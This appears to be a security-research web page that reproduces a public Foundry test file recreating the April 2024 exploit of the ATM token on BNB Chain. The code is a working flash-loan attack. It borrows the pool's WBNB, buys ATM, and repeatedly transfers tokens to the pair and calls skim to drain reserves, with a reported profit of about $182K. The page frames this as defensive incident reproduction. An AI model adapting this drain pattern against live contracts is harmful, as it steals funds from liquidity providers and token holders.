Public reproduction file
src/test/2024-04/ATM_exp.sol
Public reproduction file for dataset entry ATM.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0xee10553c26742bec9a4761fd717642d19012bab1704cbced048425070ee21a8a?line=29// Profit : ~182K USD10// REASON : Business Logic Flaw11// Sandwitch attack,the contract will exchange token -> WBNB & WBNB -> USDT,So use transfer / skim to13contract ContractTest is Test {14 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));15 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);16 Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);17 Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);18 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);19 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);20 IERC20 ATM = IERC20(0xa5957E0E2565dc93880da7be32AbCBdF55788888);21 uint256 constant PRECISION = 10 ** 18;22 address test_contract = address(this);23 address hack_contract;24 uint256 borrow_amount;26 function setUp() external {27 cheats.createSelectFork("bsc", 37_483_300);28 deal(address(USDT), address(this), 0);29 }31 function testExploit() external {32 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", WBNB.balanceOf(address(this)), 18);33 borrow_amount = WBNB.balanceOf(address(pool)) - 1e18;34 pool.flash(address(this), 0, borrow_amount, "");35 emit log_named_decimal_uint("[End] Attacker USDT after exploit", WBNB.balanceOf(address(this)), 18);36 }38 function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {39 console.log(WBNB.balanceOf(address(this)));40 uint256 i = 0;41 uint256 j = 0;42 swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)) - 170 ether);43 while (j < 2) {44 swap_token_to_token(address(WBNB), address(ATM), 70 ether);45 while (i < 100) {46 uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));47 ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));48 wbnb_atm.skim(address(this));49 (, uint256 wbnb_r,) = wbnb_atm.getReserves();50 uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;51 console.log("Pair lost:", pair_lost);52 if (pair_lost == 7) {53 break;54 }55 i++;56 }57 j++;58 }59 // To get max profit,not good at math so just copy the exploiter's work60 i = 0;61 while (i < 15) {62 uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));63 ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));64 wbnb_atm.skim(address(this));65 (, uint256 wbnb_r,) = wbnb_atm.getReserves();66 uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;67 console.log("Pair lost:", pair_lost, "BNB");68 if (pair_lost == 0) {69 break;70 }71 i++;72 }73 swap_token_to_token(address(ATM), address(WBNB), ATM.balanceOf(address(this)));74 swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));75 console.log("My wbnb", WBNB.balanceOf(address(this)));76 WBNB.transfer(address(pool), borrow_amount * 10_000 / 9975 + 1000);77 }79 function swap_token_to_token(address a, address b, uint256 amount) internal {80 IERC20(a).approve(address(router), amount);81 address[] memory path = new address[](2);82 path[0] = address(a);83 path[1] = address(b);84 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);85 }86}Analysis
Dataset entry
Public Foundry test for “ATM” (2024-04-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- ATM
- Path
- src/test/2024-04/ATM_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2c93b5b8e95dabf8e0d84744edc09f17fae69257
- Language
- Solidity
- Size
- 87 lines
- Date
- 2024-04-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/ATM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c93b5b8e95dabf8e0d84744edc09f17fae69257, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.